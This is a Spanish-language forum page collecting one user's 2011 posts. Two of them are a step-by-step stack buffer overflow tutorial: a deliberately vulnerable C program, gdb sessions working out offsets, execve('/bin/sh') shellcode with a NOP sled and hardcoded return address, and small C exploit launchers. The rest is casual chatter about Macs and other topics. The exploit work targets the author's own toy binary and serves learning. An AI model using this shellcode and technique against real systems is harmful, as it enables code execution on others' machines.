Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Garfield07

#301
Bueno, tras un ratillo erre que erre golpeándome he conseguido ejecutar una shellcode. Os explico:
Primero he calculado cuantos nops (0x90, el procesador no hace nada) le tengo que meter a la cadena. Luego, he escrito mi shellcode, y finalmente he calculado la dirección de regreso.
Calculemos: Tenemos 36 bytes, pero para cambiar la ejecución del programa hacen falta 44. Así que...
44 - 4 (dirección de regreso) = 40. Mi shellcode mide 25 pbytes...
40 - 25 (shellcode) = 15. En este hueco irá relleno.
Así que la estructura sería: 15 Nops (\x90) + 25 Shellcode + 4 Ret.
Escribimos:

juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904:    0x00000000
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
   buff=0xbffffb36 '\220' <repeats 15 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff95b in ?? ()
(gdb)

¿Error? Pues sí. No nos hemos dado cuenta de que al volver se restan 4 bytes...

(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
   buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: Function "vuln" not defined.
(no debugging symbols found)
(no debugging symbols found)
$

Ahora escribimos el exploit...

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main ()
{
   char nops [11];
   memset (nops, '\x90', 11);
   char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
   char ret [5] = "\x04\xf9\xff\xbf";

   char command [47];
   strcpy (command, "./vuln ");
   strcat (command, nops);
   strcat (command, shellcode);
   strcat (command, ret);
   system (command);
}


juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
$


¡Bueno, lo hemos conseguido! ¡Hemos escrito nuestro primer exploit con shellcode en un entorno linux!

PD: Sé que no me explico nada bien, todas las dudas...
PD2: Habrá más entregas ;D
Un saludo! Os espero.
Sagrini


Sacado de mi blog xD!
#302
Bueno, escribí un pequeño code para mi blog hace un ratillo...

#include <stdio.h>
#include <string.h>

int vuln (char *buff)
{
    char buffer [36];
    strcpy (buffer, buff);
}

int main (int argc, char *argv [])
{
    vuln (argv [1]);
}

int feo ()
{
    printf ("Eres feo!!!");
    exit (0);
}


juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./vuln (perl -e 'print "A"x40 . "\x68\x84\x04\x08"')
Eres feo!!!
juanra@Juanra:~/Escritorio/Shell$


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main ()
{
    char nops [40];
    memset (nops, 'A', 40);
    char ret [5] = "\x68\x84\x04\x08";

    char command [51];
    strcpy (command, "./vuln ");
    strcat (command, nops);
    strcat (command, ret);
    system (command);
}


Luego lo hago con shellcode... Este ahora mismo va :P
#303
Zero bonita foto :P

Ahí está Leo... Y todo gratis ;)

Cita de: Tyrz en  8 Febrero 2011, 23:33 PM
No sabes de lo que hablas Sagrini. Mira lo que valen las piezas del mac montandotelo tu o comprandote por ejemplo un sony vaio de las mismas prestaciones. Veras la diferencia de dinero. Siendo las mismas piezas porque iban a ser mejores?
http://store.apple.com/es-business/browse/home/shop_mac/family/mac_pro
#304
Programación C/C++ / Re: caracteres de 0 a 256?
8 Febrero 2011, 23:43 PM
De 0 a 255. Se repiten:

#include <stdio.h>

int main ()
{
int i;

for (i=0; i<300; i++)
printf ("%c", (char) i);

return 0;
}


Suerte!
#305
Blackhattan : Sagrini (2011 jeje...)
Pues mi blog, con dos días de vida, va sobre lo que voy aprendiendo cada día. Y como por lo general me gusta aprender de todo... Sin embargo especificaré: Exploiting, seguridad, vulnerabilidades, lenguaje C, un mínimo de ASM, algunos programas (GPL evidentemente) y alguna cosa que me guste (pelis interesantes, libros, etc...)
Blackhattan

Os espero! Un saludo.
Sagrini
#306
Foro Libre / Re: La Gioconda ........hoy
8 Febrero 2011, 00:04 AM
Jaja vale si que es profundo jeje...
A lo que me refiero: Hay que mirar a la gente como es. Y nada mejor que pasar tiempo con ella...
#307
Cita de: Xafirot en  8 Febrero 2011, 00:00 AM
Pero que coño tio esto de que sus pc tienen calidad ??? que cojones en que mundo vives ... yo me gasto 1200 euros y me monto una torre que flipas.... y por 4000 euros ya ni te digo y le meto W7 , y con 4 monitores arranco 4 juegos Crisis para cada monitor... y flipas... Mac apesta mas que linux...

Sé que son caros, pero por eso son los mejores...
#308
Cita de: Tyrz en  7 Febrero 2011, 23:38 PM
supongo que al menos todos estamos de acuerdo en que mac apesta no?
Gustos al poder: Yo no. Valen mucho, pero tienen calidad, sus PCs son los mejores y su S.O. se domina con práctica. Ahora, yo no tengo 1200 € jeje
#309
Cita de: Oblivi0n en  7 Febrero 2011, 20:16 PM
CD's de 300gb
Bua, yo te gano jeje, una vez lei que habias superordenadores y CDs de 500 GB. Internet iba como una bala jeje, en segundos te descargaba GBs... Pena que fuese ficcion :P
#310
Cita de: Di~OsK en  7 Febrero 2011, 21:00 PM
y si naces/tienes un defecto grave, lo tendras para siempre?

Para ser inmortal deberiamos ser perfectos. Y para ser inmortal tenemos que morir. Así que...